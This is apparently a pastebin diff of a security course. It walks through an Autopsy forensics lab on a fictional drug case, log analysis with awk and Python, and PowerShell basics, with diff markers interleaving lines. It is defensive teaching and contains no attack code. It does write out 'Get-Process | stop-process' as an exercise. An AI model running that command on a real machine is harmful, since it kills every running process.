SHOW:
|
|
- or go back to the newest paste.
1 | Please download the following file: | |
2 | - | # Log Analysis # |
2 | + | https://s3.amazonaws.com/StrategicSec-Files/Basic_Forensics_Lab_Manual_Labs_1-9.docx |
3 | ||
4 | ||
5 | ############################## | |
6 | # Day 1: Dead Box Forensics # | |
7 | ############################## | |
8 | VM for these labs | |
9 | ----------------- | |
10 | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip | |
11 | user: malware | |
12 | pass: malware | |
13 | ||
14 | ||
15 | Type the following command in a terminal window | |
16 | cd /home/malware/Desktop/HelixLabs/ | |
17 | unzip image.zip | |
18 | sudo apt-get install -y autopsy bless | |
19 | ||
20 | ||
21 | From your terminal, type 'sudo autopsy' and press enter. This will start a web server that will listen on port 9999. | |
22 | ||
23 | Simply open up Firefox and navigate to http://localhost:9999/autopsy. | |
24 | ||
25 | ||
26 | If you wait a few seconds, Firefox should open up automatically. | |
27 | ||
28 | If you scroll down you will see “Open Case” “New Case” “Help”. We want “New Case”. | |
29 | ||
30 | The next few screens we will need to fill out some information. | |
31 | ||
32 | Reference: | |
33 | Basic_Forensics_Lab_Manual_Labs_1-9.docx Page 9 | |
34 | ||
35 | ||
36 | ||
37 | ||
38 | Case Name: Case1 | |
39 | Description: None | |
40 | Investigator Names: <Your Name> | |
41 | ||
42 | Click “New Case” when you’re ready. | |
43 | ||
44 | - | -----------------------------Type this----------------------------------------- |
44 | + | |
45 | - | wget https://s3.amazonaws.com/infosecaddictsfiles/cisco.log |
45 | + | |
46 | - | ------------------------------------------------------------------------------- |
46 | + | Basic_Forensics_Lab_Manual_Labs_1-9.docx Page 10 |
47 | ||
48 | ||
49 | ||
50 | ||
51 | ||
52 | - | -----------------------------Type this----------------------------------------- |
52 | + | At this screen, click “Add Host” |
53 | ||
54 | - | ------------------------------------------------------------------------------- |
54 | + | The following screen should be left as is. So just click “Add Host” at the bottom of the screen to move on. |
55 | ||
56 | Simply click “Add Image” | |
57 | ||
58 | ||
59 | Reference: | |
60 | - | -----------------------------Type this----------------------------------------- |
60 | + | Basic_Forensics_Lab_Manual_Labs_1-9.docx Page 12 |
61 | ||
62 | - | ------------------------------------------------------------------------------- |
62 | + | |
63 | ||
64 | ||
65 | ||
66 | ||
67 | Click “Add Image File” | |
68 | - | -----------------------------Type this----------------------------------------- |
68 | + | |
69 | Reference: | |
70 | - | ------------------------------------------------------------------------------- |
70 | + | Basic_Forensics_Lab_Manual_Labs_1-9.docx Page 13 |
71 | ||
72 | ||
73 | On the “Add A New Image” screen we need to fill out some information. | |
74 | ||
75 | Location: This is where you unzipped the image from the image.zip (provided) too. For example, if you unzipped it to the default path, the path will be “/home/malware/Desktop/HelixLabs/image” | |
76 | ||
77 | - | -----------------------------Type this----------------------------------------- |
77 | + | Type: Disk |
78 | Import Method: Move | |
79 | ||
80 | ||
81 | Reference: | |
82 | Basic_Forensics_Lab_Manual_Labs_1-9.docx Page 14 | |
83 | ||
84 | ||
85 | - | -------------------------------------------------------------------------------- |
85 | + | |
86 | When you’re done click “Next” | |
87 | ||
88 | ||
89 | ||
90 | ||
91 | On this screen, change it from “Disk Image” to “Volume Image” and the click OK | |
92 | ||
93 | Reference: | |
94 | Basic_Forensics_Lab_Manual_Labs_1-9.docx Page 16 | |
95 | ||
96 | ||
97 | ||
98 | ||
99 | Here we want to calculate the hash value and verify after importing. Also, leave the “File System Details” the way they are. | |
100 | ||
101 | Click “Add” when you are ready to move on. | |
102 | ||
103 | Hit “OK” | |
104 | ||
105 | Finally, click “Analyze” to start analyzing the image. | |
106 | ||
107 | ||
108 | ||
109 | ||
110 | ||
111 | Police Report – First Case | |
112 | ||
113 | Reference: | |
114 | Basic_Forensics_Lab_Manual_Labs_1-9.docx Page 20 | |
115 | ||
116 | Before we go through the image, let’s read the police report to see what we are up against. | |
117 | ||
118 | The scenario is: Joe Jacobs, 28, was arrested yesterday on charges of selling illegal drugs to high school students. A local police officer posed as a high school student was approached by Jacobs in the parking lot of Smith Hill High School. Jacobs asked the undercover cop if he would like to buy some marijuana. Before the undercover cop could answer, Jacobs pulled some out of his pocket and showed it to the officer. Jacobs said to the officer "Look at this stuff, Colombians couldn't grow it better! My supplier not only sells it direct to me, he grows it himself." | |
119 | ||
120 | Jacobs has been seen on numerous occasions hanging out at various local high school parking lots around 2:30pm, the time school usually ends for the day. School officials from multiple high schools have called the police regarding Jacobs' presence at their school and noted an increase in drug use among students, since his arrival. | |
121 | ||
122 | The police need your help. They want to try and determine if Joe Jacobs has been selling drugs to students at other schools besides Smith Hill. The problem is no students will come forward and help the police. Based on Joe's comment regarding the Colombians, the police are interested in finding Joe Jacob's supplier/producer of marijuana. | |
123 | ||
124 | Jacobs has denied selling drugs at any other school besides Smith Hill and refuses to provide the police with the name of his drug supplier/producer. Jacobs also refuses to validate the statement that he made to the undercover officer right before his arrest. Upon issuing a search warrant and searching of the suspect's house the police were able to obtain a small amount of marijuana. The police also seized a single floppy disk, but no computer and/or other media was present in the house. | |
125 | ||
126 | The police have imaged the suspect's floppy disk and have provided you with a copy. They would like you to examine the floppy disk and provide answers to the following questions. The police would like you to pay special attention to any information that might prove that Joe Jacobs was in fact selling drugs at other high schools besides Smith Hill. They would also like you to try and determine if possible who Joe Jacob's supplier is. | |
127 | ||
128 | Jacob's posted bail set at $10,000.00. Afraid he may skip town, the police would like to get him locked up as soon as possible. To do so, the police have asked that you have the results fully completed and submitted by October 25, 2002. Please provide the police with a strong case consisting of your specific findings related to the questions, where the findings are located on the disk, processes and techniques used, and any actions that the suspect may have taken to intentionally delete, hide and/or alter data on the floppy disk. Good Luck! | |
129 | ||
130 | Any names, locations, and situations presented are completely made up. Any resemblance to any name, locations and/or situation is purely coincidence. | |
131 | ||
132 | ||
133 | Questions for the First Case | |
134 | ||
135 | 1) Who is Joe Jacob's supplier of marijuana and what is the address listed for the supplier? | |
136 | 2) What crucial data is available within the coverpage.jpg file and why is this data crucial? | |
137 | 3) What (if any) other high schools besides Smith Hill does Joe Jacobs frequent? | |
138 | 4) For each file, what processes were taken by the suspect to mask them from others? | |
139 | 5) What processes did you (the investigator) use to successfully examine the entire contents of each file? | |
140 | 6) What Microsoft program was used to create the Cover Page file. What is your proof? (Proof is the key to getting this question right, not just making a guess). | |
141 | ||
142 | ||
143 | ||
144 | Question 1: | |
145 | The file that we are most interested in is the “JimmyJungle.doc” Export the file to your desktop by clicking on the file name and then export in the lower frame. Open it up in Open Office. | |
146 | ||
147 | ||
148 | Bingo! The suppliers name and address. | |
149 | Jimmy Jungle | |
150 | 626 Jungle Ave Apt 2 | |
151 | Jungle, NY 11111 | |
152 | ||
153 | ||
154 | ||
155 | ||
156 | Question 2: | |
157 | ||
158 | What crucial data is available within the coverpage.jpg file and why is this data crucial? | |
159 | In the same “File Analysis” screen let’s analyze the cover page. | |
160 | ||
161 | Nothing very interesting here, let’s check the metadata. Under Hex click report. | |
162 | ||
163 | Let’s note the size | |
164 | ||
165 | Size: 15585 bytes (0x3ce1) | |
166 | ||
167 | Now let’s move over to “Image Detail” on the top tabs. | |
168 | ||
169 | Scroll all the way to the bottom and click “73-103(31) -> EOF” | |
170 | ||
171 | It looks like a bunch of junk, let’s examine it a bit more closely. | |
172 | ||
173 | “pw=goodtimes” hmm wonder what that could mean. There is another way that we could pull this out. Click “display” under Hex at the top of the screen. To me this is a bit easier to see and go through. The password was hidden away in the slack space of the file. | |
174 | ||
175 | - | python |
175 | + | |
176 | ||
177 | - | >>> |
177 | + | |
178 | Question 3: | |
179 | ||
180 | What (if any) other high schools besides Smith Hill does Joe Jacobs frequent? | |
181 | ||
182 | For this next question let’s go back to the “File Analysis” screen and click on “Scheduled Visits.exe”. | |
183 | ||
184 | ||
185 | ||
186 | Something that stands out almost immediately is the “Scheduled Visits.xls” there is an excel spreadsheet in there. Something tells me that this is not an executable. To find out whether this is or not, we need to look at the file signature. Under ASCII click “report” | |
187 | ||
188 | The information that we are interested in is the “Sectors 104 105” As well as the “File Type” notice it says “empty (Zip archive data, at least v2.0 to extract)” Let’s go back to the “Image Details” screen and scroll to the bottom. | |
189 | ||
190 | We want to look at sectors 104 – 108. | |
191 | ||
192 | Here is the ASCII contents of sectors 104 – 108. To figure out the file signature we need to look at the Hex. Click on “display” under Hex. | |
193 | ||
194 | Our file starts at 104 and we are currently viewing Sectors 104 – 108, so we don’t really need to hunt around in the hex. What we need to pay attention too is the first 4 bytes. Zip files have a file signature of 50 4B 03 04 or PK.. (that’s P K <dot> <dot>). For a list of different file signatures visit (http://www.garykessler.net/library/file_sigs.html ). What do we see? The very top of the Hex dump 504b0304 and PK… Looks like it is a zip file. Export the file and change the file extension from .exe to .zip. | |
195 | ||
196 | ||
197 | If you want to perform these steps in a hex editor then you can use Bless by typing the following commands in a terminal window: | |
198 | cd /home/malware/Desktop/HelixLabs/ | |
199 | unzip image.zip | |
200 | sudo apt-get install -y bless | |
201 | bless image | |
202 | ||
203 | ||
204 | ######################## | |
205 | # Day 1: Log Analysis # | |
206 | ######################## | |
207 | ||
208 | ||
209 | ########## | |
210 | # VMWare # | |
211 | ########## | |
212 | - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player. | |
213 | ||
214 | - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class. | |
215 | ||
216 | ||
217 | VM for these labs | |
218 | ----------------- | |
219 | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip | |
220 | user: strategicsec | |
221 | pass: strategicsec | |
222 | ||
223 | https://s3.amazonaws.com/StrategicSec-VMs/Win7x64.zip | |
224 | username: workshop | |
225 | password: password | |
226 | ||
227 | ||
228 | ||
229 | ||
230 | ############################################## | |
231 | # Log Analysis with Linux command-line tools # | |
232 | ############################################## | |
233 | The following command line executables are found in the Mac as well as most Linux Distributions. | |
234 | ||
235 | cat – prints the content of a file in the terminal window | |
236 | grep – searches and filters based on patterns | |
237 | awk – can sort each row into fields and display only what is needed | |
238 | sed – performs find and replace functions | |
239 | sort – arranges output in an order | |
240 | uniq – compares adjacent lines and can report, filter or provide a count of duplicates | |
241 | ||
242 | ||
243 | ||
244 | ############### | |
245 | # Apache Logs # | |
246 | ############### | |
247 | ||
248 | Reference: | |
249 | http://www.the-art-of-web.com/system/logs/ | |
250 | ||
251 | wget https://s3.amazonaws.com/SecureNinja/Python/access_log | |
252 | ||
253 | ||
254 | You want to list all user agents ordered by the number of times they appear (descending order): | |
255 | ||
256 | awk -F\" '{print $6}' access_log | sort | uniq -c | sort -fr | |
257 | ||
258 | ||
259 | ||
260 | Using the default separator which is any white-space (spaces or tabs) we get the following: | |
261 | ||
262 | awk '{print $1}' access_log # ip address (%h) | |
263 | awk '{print $2}' access_log # RFC 1413 identity (%l) | |
264 | awk '{print $3}' access_log # userid (%u) | |
265 | awk '{print $4,5}' access_log # date/time (%t) | |
266 | awk '{print $9}' access_log # status code (%>s) | |
267 | awk '{print $10}' access_log # size (%b) | |
268 | ||
269 | You might notice that we've missed out some items. To get to them we need to set the delimiter to the " character which changes the way the lines are 'exploded' and allows the following: | |
270 | ||
271 | awk -F\" '{print $2}' access_log # request line (%r) | |
272 | awk -F\" '{print $4}' access_log # referer | |
273 | awk -F\" '{print $6}' access_log # user agent | |
274 | ||
275 | ||
276 | awk -F\" '{print $6}' access_log \ | |
277 | | sed 's/(\([^;]\+; [^;]\+\)[^)]*)/(\1)/' \ | |
278 | | sort | uniq -c | sort -fr | |
279 | ||
280 | ||
281 | The next step is to start filtering the output so you can narrow down on a certain page or referer. Would you like to know which pages Google has been requesting from your site? | |
282 | ||
283 | awk -F\" '($6 ~ /Googlebot/){print $2}' access_log | awk '{print $2}' | |
284 | Or who's been looking at your guestbook? | |
285 | ||
286 | awk -F\" '($2 ~ /guestbook\.html/){print $6}' access_log | |
287 | ||
288 | ||
289 | Reference: | |
290 | https://blog.nexcess.net/2011/01/21/one-liners-for-apache-log-files/ | |
291 | ||
292 | # top 20 URLs from the last 5000 hits | |
293 | tail -5000 ./access_log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20 | |
294 | tail -5000 ./access_log | awk '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20 | |
295 | ||
296 | # top 20 URLS excluding POST data from the last 5000 hits | |
297 | tail -5000 ./access_log | awk -F"[ ?]" '{print $7}' | sort | uniq -c | sort -rn | head -20 | |
298 | tail -5000 ./access_log | awk -F"[ ?]" '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20 | |
299 | ||
300 | # top 20 IPs from the last 5000 hits | |
301 | tail -5000 ./access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20 | |
302 | tail -5000 ./access_log | awk '{freq[$1]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20 | |
303 | ||
304 | # top 20 URLs requested from a certain ip from the last 5000 hits | |
305 | IP=1.2.3.4; tail -5000 ./access_log | grep $IP | awk '{print $7}' | sort | uniq -c | sort -rn | head -20 | |
306 | IP=1.2.3.4; tail -5000 ./access_log | awk -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20 | |
307 | ||
308 | # top 20 URLS requested from a certain ip excluding, excluding POST data, from the last 5000 hits | |
309 | IP=1.2.3.4; tail -5000 ./access_log | fgrep $IP | awk -F "[ ?]" '{print $7}' | sort | uniq -c | sort -rn | head -20 | |
310 | IP=1.2.3.4; tail -5000 ./access_log | awk -F"[ ?]" -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20 | |
311 | ||
312 | # top 20 referrers from the last 5000 hits | |
313 | tail -5000 ./access_log | awk '{print $11}' | tr -d '"' | sort | uniq -c | sort -rn | head -20 | |
314 | tail -5000 ./access_log | awk '{freq[$11]++} END {for (x in freq) {print freq[x], x}}' | tr -d '"' | sort -rn | head -20 | |
315 | ||
316 | # top 20 user agents from the last 5000 hits | |
317 | tail -5000 ./access_log | cut -d\ -f12- | sort | uniq -c | sort -rn | head -20 | |
318 | ||
319 | # sum of data (in MB) transferred in the last 5000 hits | |
320 | tail -5000 ./access_log | awk '{sum+=$10} END {print sum/1048576}' | |
321 | ||
322 | ||
323 | ############## | |
324 | # Cisco Logs # | |
325 | ############## | |
326 | ||
327 | wget https://s3.amazonaws.com/StrategicSec-Files/LogAnalysis/cisco.log | |
328 | ||
329 | ||
330 | AWK Basics | |
331 | ---------- | |
332 | To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity. | |
333 | ||
334 | cat cisco.log | awk '{print $5}' | tail -n 4 | |
335 | ||
336 | ||
337 | ||
338 | ||
339 | Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order. | |
340 | ||
341 | cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn | |
342 | ||
343 | ||
344 | ||
345 | ||
346 | While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”. | |
347 | ||
348 | cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn | |
349 | ||
350 | ||
351 | ||
352 | ||
353 | ||
354 | Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep. | |
355 | ||
356 | cat cisco.log | grep %LINEPROTO-5-UPDOWN: | |
357 | ||
358 | cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn | |
359 | ||
360 | cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn | |
361 | ||
362 | cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn | |
363 | ||
364 | ||
365 | ||
366 | ||
367 | ################################# | |
368 | # Using Python for log analysis # | |
369 | ################################# | |
370 | ||
371 | ||
372 | ||
373 | ||
374 | ########################################### | |
375 | # Python Basics Lesson 1: Simple Printing # | |
376 | ########################################### | |
377 | ||
378 | >>> print 1 | |
379 | ||
380 | >>> print hello | |
381 | ||
382 | >>> print "hello" | |
383 | ||
384 | >>> print "Today we are learning Python." | |
385 | ||
386 | ||
387 | ||
388 | ################################################### | |
389 | # Python Basics Lesson 2: Simple Numbers and Math # | |
390 | ################################################### | |
391 | ||
392 | >>> 2+2 | |
393 | ||
394 | >>> 6-3 | |
395 | ||
396 | >>> 18/7 | |
397 | ||
398 | >>> 18.0/7 | |
399 | ||
400 | >>> 18.0/7.0 | |
401 | ||
402 | >>> 18/7 | |
403 | ||
404 | >>> 9%4 | |
405 | ||
406 | >>> 8%4 | |
407 | ||
408 | >>> 8.75%.5 | |
409 | ||
410 | >>> 6.*7 | |
411 | - | >>> exit() |
411 | + | |
412 | >>> 6*6*6 | |
413 | ||
414 | >>> 6**3 | |
415 | ||
416 | >>> 5**12 | |
417 | ||
418 | >>> -5**4 | |
419 | ||
420 | ||
421 | ||
422 | ||
423 | ||
424 | ||
425 | ##################################### | |
426 | # Python Basics Lesson 3: Variables # | |
427 | ##################################### | |
428 | ||
429 | >>> x=18 | |
430 | ||
431 | >>> x+15 | |
432 | ||
433 | >>> x**3 | |
434 | ||
435 | >>> y=54 | |
436 | ||
437 | >>> x+y | |
438 | ||
439 | >>> age=input("Enter number here: ") | |
440 | 43 | |
441 | ||
442 | >>> age+32 | |
443 | ||
444 | >>> age**3 | |
445 | ||
446 | >>> fname = raw_input("Enter your first name: ") | |
447 | ||
448 | >>> lname = raw_input("Enter your first name: ") | |
449 | ||
450 | >>> fname = raw_input("Enter your name: ") | |
451 | Enter your name: Joe | |
452 | ||
453 | >>> lname = raw_input("Enter your name: ") | |
454 | Enter your name: McCray | |
455 | ||
456 | >>> print fname | |
457 | Joe | |
458 | ||
459 | >>> print lname | |
460 | McCray | |
461 | ||
462 | >>> print fname lname | |
463 | ||
464 | >>> print fname+lname | |
465 | JoeMcCray | |
466 | ||
467 | ||
468 | ||
469 | NOTE: | |
470 | Use "input() for integers and expressions, and use raw_input() when you are dealing with strings. | |
471 | ||
472 | ||
473 | ||
474 | ||
475 | ||
476 | ################################################# | |
477 | # Python Basics Lesson 4: Modules and Functions # | |
478 | ################################################# | |
479 | ||
480 | >>> 5**4 | |
481 | ||
482 | >>> pow(5,4) | |
483 | ||
484 | >>> abs(-18) | |
485 | ||
486 | >>> abs(5) | |
487 | ||
488 | >>> floor(18.7) | |
489 | ||
490 | >>> import math | |
491 | ||
492 | >>> math.floor(18.7) | |
493 | ||
494 | >>> math.sqrt(81) | |
495 | ||
496 | >>> joe = math.sqrt | |
497 | ||
498 | >>> joe(9) | |
499 | ||
500 | >>> joe=math.floor | |
501 | ||
502 | >>> joe(19.8) | |
503 | ||
504 | ||
505 | ||
506 | ||
507 | ||
508 | ||
509 | ||
510 | ||
511 | ||
512 | ################################### | |
513 | # Python Basics Lesson 5: Strings # | |
514 | ################################### | |
515 | ||
516 | >>> "XSS" | |
517 | ||
518 | >>> 'SQLi' | |
519 | ||
520 | >>> "Joe's a python lover" | |
521 | ||
522 | >>> 'Joe\'s a python lover' | |
523 | ||
524 | >>> "Joe said \"InfoSec is fun\" to me" | |
525 | ||
526 | >>> a = "Joe" | |
527 | ||
528 | >>> b = "McCray" | |
529 | ||
530 | >>> a, b | |
531 | ||
532 | >>> a+b | |
533 | ||
534 | ||
535 | ||
536 | ||
537 | ||
538 | ||
539 | ||
540 | ||
541 | ######################################## | |
542 | # Python Basics Lesson 6: More Strings # | |
543 | ######################################## | |
544 | ||
545 | >>> num = 10 | |
546 | ||
547 | >>> num + 2 | |
548 | ||
549 | >>> "The number of open ports found on this system is " + num | |
550 | ||
551 | >>> num = str(18) | |
552 | ||
553 | >>> "There are " + num + " vulnerabilities found in this environment." | |
554 | ||
555 | >>> num2 = 46 | |
556 | ||
557 | >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2` | |
558 | ||
559 | ||
560 | ||
561 | NOTE: | |
562 | Use "input() for integers and expressions, and use raw_input() when you are dealing with strings. | |
563 | ||
564 | ||
565 | ||
566 | ||
567 | ||
568 | ||
569 | ||
570 | ############################################### | |
571 | # Python Basics Lesson 7: Sequences and Lists # | |
572 | ############################################### | |
573 | ||
574 | >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
575 | ||
576 | >>> attacks | |
577 | ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include'] | |
578 | ||
579 | >>> attacks[3] | |
580 | 'SQL Injection' | |
581 | ||
582 | >>> attacks[-2] | |
583 | 'Cross-Site Scripting' | |
584 | ||
585 | ||
586 | ||
587 | ||
588 | ||
589 | ||
590 | ######################################## | |
591 | # Python Basics Level 8: If Statement # | |
592 | ######################################## | |
593 | >>> attack="SQLI" | |
594 | >>> if attack=="SQLI": | |
595 | print 'The attacker is using SQLI' | |
596 | ||
597 | >>> attack="XSS" | |
598 | >>> if attack=="SQLI": | |
599 | print 'The attacker is using SQLI' | |
600 | ||
601 | ||
602 | ############################# | |
603 | # Reference Videos To Watch # | |
604 | ############################# | |
605 | Here is your first set of youtube videos that I'd like for you to watch: | |
606 | https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10) | |
607 | ||
608 | ||
609 | ||
610 | ||
611 | ||
612 | ##################################### | |
613 | # Lesson 9: Intro to Log Analysis # | |
614 | ##################################### | |
615 | ||
616 | Login to your StrategicSec Ubuntu machine. You can download the VM from the following link: | |
617 | ||
618 | https://s3.amazonaws.com/StrategicSec-VMs/Strategicsec-Ubuntu-VPN-163.zip | |
619 | username: strategicsec | |
620 | password: strategicsec | |
621 | ||
622 | Then execute the following commands: | |
623 | --------------------------------------------------------------------------------------------------------- | |
624 | ||
625 | ||
626 | wget https://s3.amazonaws.com/SecureNinja/Python/access_log | |
627 | ||
628 | ||
629 | cat access_log | grep 141.101.80.188 | |
630 | ||
631 | cat access_log | grep 141.101.80.187 | |
632 | ||
633 | cat access_log | grep 108.162.216.204 | |
634 | ||
635 | cat access_log | grep 173.245.53.160 | |
636 | ||
637 | --------------------------------------------------------- | |
638 | ||
639 | Google the following terms: | |
640 | - Python read file | |
641 | - Python read line | |
642 | - Python read from file | |
643 | ||
644 | ||
645 | ||
646 | ||
647 | ######################################################## | |
648 | # Lesson 10: Use Python to read in a file line by line # | |
649 | ######################################################## | |
650 | ||
651 | ||
652 | Reference: | |
653 | http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/ | |
654 | ||
655 | ||
656 | ||
657 | ||
658 | ||
659 | ||
660 | Let's have some fun..... | |
661 | ||
662 | ||
663 | >>> f = open('access_log', "r") | |
664 | ||
665 | >>> lines = f.readlines() | |
666 | ||
667 | >>> print lines | |
668 | ||
669 | >>> lines[0] | |
670 | ||
671 | >>> lines[10] | |
672 | ||
673 | >>> lines[50] | |
674 | ||
675 | >>> lines[1000] | |
676 | ||
677 | >>> lines[5000] | |
678 | ||
679 | >>> lines[10000] | |
680 | ||
681 | >>> print len(lines) | |
682 | ||
683 | ||
684 | ||
685 | ||
686 | ||
687 | ||
688 | ||
689 | ||
690 | ||
691 | --------------------------------------------------------- | |
692 | vi logread1.py | |
693 | ||
694 | ||
695 | ## Open the file with read only permit | |
696 | f = open('access_log', "r") | |
697 | ||
698 | ## use readlines to read all lines in the file | |
699 | ## The variable "lines" is a list containing all lines | |
700 | lines = f.readlines() | |
701 | ||
702 | print lines | |
703 | ||
704 | ||
705 | ## close the file after reading the lines. | |
706 | f.close() | |
707 | ||
708 | --------------------------------------------------------- | |
709 | ||
710 | ||
711 | Google the following: | |
712 | - python difference between readlines and readline | |
713 | - python readlines and readline | |
714 | ||
715 | ||
716 | ||
717 | ||
718 | ||
719 | ################################# | |
720 | # Lesson 11: A quick challenge # | |
721 | ################################# | |
722 | ||
723 | Can you write an if/then statement that looks for this IP and print "Found it"? | |
724 | ||
725 | ||
726 | 141.101.81.187 | |
727 | ||
728 | ||
729 | ||
730 | ||
731 | ||
732 | ||
733 | --------------------------------------------------------- | |
734 | Hint 1: Use Python to look for a value in a list | |
735 | ||
736 | Reference: | |
737 | http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html | |
738 | ||
739 | ||
740 | ||
741 | ||
742 | --------------------------------------------------------- | |
743 | Hint 2: Use Python to prompt for user input | |
744 | ||
745 | Reference: | |
746 | http://www.cyberciti.biz/faq/python-raw_input-examples/ | |
747 | ||
748 | ||
749 | ||
750 | ||
751 | --------------------------------------------------------- | |
752 | Hint 3: Use Python to search for a string in a list | |
753 | ||
754 | Reference: | |
755 | http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string | |
756 | ||
757 | ||
758 | ||
759 | ||
760 | ||
761 | Here is my solution: | |
762 | ------------------- | |
763 | $ python | |
764 | >>> f = open('access_log', "r") | |
765 | >>> lines = f.readlines() | |
766 | >>> ip = '141.101.81.187' | |
767 | >>> for string in lines: | |
768 | ... if ip in string: | |
769 | ... print(string) | |
770 | ||
771 | ||
772 | ||
773 | ||
774 | Here is one student's solution - can you please explain each line of this code to me? | |
775 | ------------------------------------------------------------------------------------- | |
776 | #!/usr/bin/python | |
777 | ||
778 | f = open('access_log') | |
779 | ||
780 | strUsrinput = raw_input("Enter IP Address: ") | |
781 | ||
782 | for line in iter(f): | |
783 | ip = line.split(" - ")[0] | |
784 | if ip == strUsrinput: | |
785 | print line | |
786 | ||
787 | f.close() | |
788 | ||
789 | ||
790 | ||
791 | ||
792 | ------------------------------- | |
793 | ||
794 | Working with another student after class we came up with another solution: | |
795 | ||
796 | #!/usr/bin/env python | |
797 | ||
798 | ||
799 | # This line opens the log file | |
800 | f=open('access_log',"r") | |
801 | ||
802 | # This line takes each line in the log file and stores it as an element in the list | |
803 | lines = f.readlines() | |
804 | ||
805 | ||
806 | # This lines stores the IP that the user types as a var called userinput | |
807 | userinput = raw_input("Enter the IP you want to search for: ") | |
808 | ||
809 | ||
810 | ||
811 | # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found. | |
812 | for ip in lines: | |
813 | if ip.find(userinput) != -1: | |
814 | print ip | |
815 | ||
816 | ||
817 | ||
818 | ################################################## | |
819 | # Lesson 12: Look for web attacks in a log file # | |
820 | ################################################## | |
821 | ||
822 | In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log. | |
823 | Supported attacks: | |
824 | 1. SQL Injection | |
825 | 2. Local File Inclusion | |
826 | 3. Remote File Inclusion | |
827 | 4. Cross-Site Scripting | |
828 | ||
829 | ||
830 | ||
831 | wget https://s3.amazonaws.com/SecureNinja/Python/scan_log.py | |
832 | ||
833 | The usage for scan_log.py is simple. You feed it an apache log file. | |
834 | ||
835 | cat scan_log.py | less (use your up/down arrow keys to look through the file) | |
836 | ||
837 | ||
838 | ||
839 | ||
840 | ||
841 | ################################ | |
842 | # Log Analysis with Powershell # | |
843 | ################################ | |
844 | ||
845 | VM for these labs | |
846 | ----------------- | |
847 | https://s3.amazonaws.com/StrategicSec-VMs/Win7x64.zip | |
848 | username: workshop | |
849 | password: password | |
850 | ||
851 | ||
852 | You can do the updates in the Win7 VM (yes, it is a lot of updates). | |
853 | ||
854 | You'll need to create directory in the Win7 VM called "c:\ps" | |
855 | ||
856 | ##################### | |
857 | # Powershell Basics # | |
858 | ##################### | |
859 | ||
860 | PowerShell is Microsoft’s new scripting language that has been built in since the release Vista. | |
861 | ||
862 | PowerShell file extension end in .ps1 . | |
863 | ||
864 | An important note is that you cannot double click on a PowerShell script to execute it. | |
865 | ||
866 | To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell. | |
867 | ||
868 | dir | |
869 | cd | |
870 | ls | |
871 | cd c:\ | |
872 | ||
873 | ||
874 | To obtain a list of cmdlets, use the Get-Command cmdlet | |
875 | ||
876 | Get-Command | |
877 | ||
878 | ||
879 | ||
880 | You can use the Get-Alias cmdlet to see a full list of aliased commands. | |
881 | ||
882 | Get-Alias | |
883 | ||
884 | ||
885 | ||
886 | Don't worry you won't blow up your machine with Powershell | |
887 | Get-Process | stop-process What will this command do? | |
888 | Get-Process | stop-process -whatif | |
889 | ||
890 | ||
891 | To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about. | |
892 | ||
893 | Get-Help Get-Command | |
894 | ||
895 | Get-Help Get-Service –online | |
896 | ||
897 | Get-Service -Name TermService, Spooler | |
898 | ||
899 | Get-Service –N BITS | |
900 | ||
901 | Start-Transcript | |
902 | ||
903 | PowerShell variables begin with the $ symbol. First lets create a variable | |
904 | ||
905 | $serv = Get-Service –N Spooler | |
906 | ||
907 | To see the value of a variable you can just call it in the terminal. | |
908 | ||
909 | $serv | |
910 | ||
911 | $serv.gettype().fullname | |
912 | ||
913 | ||
914 | Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in | |
915 | ||
916 | $serv | Get-Member | |
917 | ||
918 | Get-Member -InputObject $serv | |
919 | ||
920 | ||
921 | ||
922 | ||
923 | ||
924 | Let’s use a method and a property with our object. | |
